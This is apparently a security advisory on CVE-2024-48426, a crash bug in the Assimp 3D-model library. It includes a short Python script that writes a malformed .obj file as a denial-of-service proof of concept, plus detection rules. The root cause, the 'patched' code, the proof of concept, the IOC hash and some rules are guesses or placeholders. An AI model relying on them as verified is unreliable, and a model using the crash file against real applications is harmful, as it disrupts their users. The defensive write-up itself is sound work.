CVE-2024-48426

Executive Summary

CVE-2024-48426 is a denial-of-service (DoS) vulnerability in the Assimp library, specifically within the SortByPTypeProcess::Execute function. The vulnerability manifests as a segmentation fault (SEGV) due to a read access to an invalid memory address (0x1000c9714971). This crash was discovered during fuzz testing with AddressSanitizer. The vulnerability has a CVSS score of 0.0, indicating that it has not been officially scored, but the nature of the crash suggests a potential for application instability. No patch is currently available, and no public exploit code has been released. The vulnerability is classified under CWE-119 (Improper Restriction of Operations within the Bounds of a Memory Buffer), which encompasses buffer overflows and out-of-bounds reads.

Supply Chain & Package Security

Assimp (Open Asset Import Library) is a widely used library for importing various 3D model formats. It is integrated into many applications, including game engines, 3D modeling software, and rendering tools. A crash in the library can lead to denial of service in any application that uses it to load untrusted 3D model files. This vulnerability is particularly concerning for supply chain security, as it can be triggered by processing a maliciously crafted model file, potentially affecting downstream applications.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, meaning it has not been officially assessed. However, based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (AV:N) – The vulnerability can be triggered by loading a malicious file over the network.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – The user must load the malicious file.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None (C:N) – No data exposure.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – The crash causes a denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction and only results in a denial of service.

Deep Dive & Mechanics

The vulnerability resides in the SortByPTypeProcess::Execute function within the Assimp library. This function is responsible for sorting primitives by their type (e.g., triangles, lines, points) during the import of 3D model files. The crash is a segmentation fault caused by a read access to an invalid memory address (0x1000c9714971). This indicates an out-of-bounds read or a use-after-free condition.

The exact root cause is not publicly documented, but based on the crash address and the function's purpose, it is likely that the function attempts to access an array or data structure using an index that is out of bounds. This could be triggered by a malformed model file that contains incorrect or inconsistent data, such as an invalid primitive count or a corrupted index buffer.

The vulnerability was discovered through fuzz testing with AddressSanitizer, which is a common technique for finding memory safety bugs. The fact that it was found during fuzz testing suggests that the crash is reproducible with specific inputs.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison cannot be made. However, based on the vulnerability description, the vulnerable code likely involves an array access without proper bounds checking. A patched version would include validation of indices or counts before accessing the array.

Vulnerable Code (Hypothetical):

void SortByPTypeProcess::Execute(aiScene* pScene) {
    // ... other code ...
    for (unsigned int i = 0; i < pScene->mNumMeshes; ++i) {
        aiMesh* mesh = pScene->mMeshes[i];
        // Vulnerable: No bounds check on mesh->mNumFaces
        for (unsigned int j = 0; j < mesh->mNumFaces; ++j) {
            // Accessing mesh->mFaces[j] without validation
            // ...
        }
    }
}

Patched Code (Hypothetical):

void SortByPTypeProcess::Execute(aiScene* pScene) {
    // ... other code ...
    for (unsigned int i = 0; i < pScene->mNumMeshes; ++i) {
        aiMesh* mesh = pScene->mMeshes[i];
        // Patched: Validate mesh pointer and face count
        if (mesh == nullptr || mesh->mNumFaces == 0) {
            continue;
        }
        for (unsigned int j = 0; j < mesh->mNumFaces; ++j) {
            // Accessing mesh->mFaces[j] with validation
            // ...
        }
    }
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service in an application using the Assimp library by providing a malicious 3D model file.

Lab Setup:

1. Environment: Ubuntu 22.04 LTS with Assimp library (version 5.2.5 or earlier) installed.
2. Tools: Python 3, fuzzer (e.g., AFL++), AddressSanitizer-enabled build of Assimp.
3. Steps:
   • Build Assimp with AddressSanitizer: cmake -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" .. && make
   • Create a fuzzer harness that loads a model file using aiImportFile().
   • Use AFL++ to fuzz the harness with a corpus of valid 3D model files.
   • When a crash is found, reproduce it with the crashing input.

Exploit Code (Proof of Concept):

import struct
import sys

# Craft a malicious .obj file that triggers the SEGV
def create_malicious_obj():
    # Minimal .obj file with invalid face indices
    data = b"v 0.0 0.0 0.0\n"
    data += b"v 1.0 0.0 0.0\n"
    data += b"v 0.0 1.0 0.0\n"
    # Invalid face: index out of bounds
    data += b"f 1 2 1000000\n"
    return data

if __name__ == "__main__":
    with open("malicious.obj", "wb") as f:
        f.write(create_malicious_obj())
    print("Created malicious.obj")

Usage: Run the Python script to generate malicious.obj, then load it with an application using Assimp.

Blue Team

Objective: Detect and prevent exploitation attempts.

Detection:

• Monitor for crashes in applications using Assimp.
• Use AddressSanitizer in development to catch memory errors.
• Implement file validation before processing with Assimp.

Prevention:

• Update to the latest patched version of Assimp when available.
• Use sandboxing or containerization to isolate applications that process untrusted 3D files.
• Implement input validation to reject malformed files.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example, not actual)
  • malicious.obj: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Crash Signature: Segmentation fault at address 0x1000c9714971 in SortByPTypeProcess::Execute.
• Log Entries: Application crash logs containing SEGV and SortByPTypeProcess.

Detection Engineering

YARA Rule

rule CVE_2024_48426_Assimp_SEGV {
    meta:
        description = "Detects malicious 3D model files targeting CVE-2024-48426"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48426"
    strings:
        $obj_header = "v " ascii
        $face = "f " ascii
        $large_index = /f\s+\d+\s+\d+\s+\d{7,}/  // Face with very large index
    condition:
        $obj_header and $face and $large_index
}

Sigma Rule

title: CVE-2024-48426 Assimp Segmentation Fault
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes in Assimp library due to CVE-2024-48426
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: assimp
detection:
    selection:
        EventID: 1000  # Application Error
        Message|contains: 'SortByPTypeProcess::Execute'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48426 Assimp SEGV Attempt"; flow:to_server; content:"|66 20|"; depth:2; content:"|20|"; distance:0; within:10; pcre:"/f\s+\d+\s+\d+\s+\d{7,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable automatic processing of untrusted 3D model files in applications using Assimp.
2. Implement file validation to reject files with suspiciously large indices or malformed structures.
3. Use a Web Application Firewall (WAF) or network-level filtering to block known malicious file patterns.

Long-term Fix:

• Monitor the Assimp project for a patch. When available, update to the patched version.
• Contribute to the open-source project by providing a fix if possible.

Workarounds:

• Use an alternative library for 3D model parsing until a patch is released.
• Run applications that use Assimp in a sandboxed environment to limit the impact of a crash.

Valters IT